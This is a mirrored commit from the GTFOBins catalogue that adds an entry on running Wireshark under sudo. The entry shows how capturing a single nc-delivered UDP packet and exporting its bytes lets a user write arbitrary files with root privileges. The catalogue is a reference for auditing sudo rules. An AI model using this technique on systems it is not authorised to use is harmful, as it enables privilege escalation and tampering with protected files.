mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Add wireshark sudo file write
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
50ab4f0ce0
commit
74e021e8ef
18
_gtfobins/wireshark.md
Normal file
18
_gtfobins/wireshark.md
Normal file
@ -0,0 +1,18 @@
|
||||
---
|
||||
functions:
|
||||
sudo:
|
||||
- description: |
|
||||
This technique can be used to write arbitrary files, i.e., the dump of one UDP packet.
|
||||
|
||||
After starting Wireshark, and waiting for the capture to begin, deliver the UDP packet, e.g., with `nc` (see below). The capture then stops and the packet dump can be saved:
|
||||
|
||||
1. select the only received packet;
|
||||
|
||||
2. right-click on "Data" from the "Packet Details" pane, and select "Export Packet Bytes...";
|
||||
|
||||
3. choose where to save the packet dump.
|
||||
code: |
|
||||
PORT=4444
|
||||
sudo wireshark -c 1 -i lo -k -f "udp port $PORT" &
|
||||
echo 'DATA' | nc -u 127.127.127.127 "$PORT"
|
||||
---
|
Loading…
Reference in New Issue
Block a user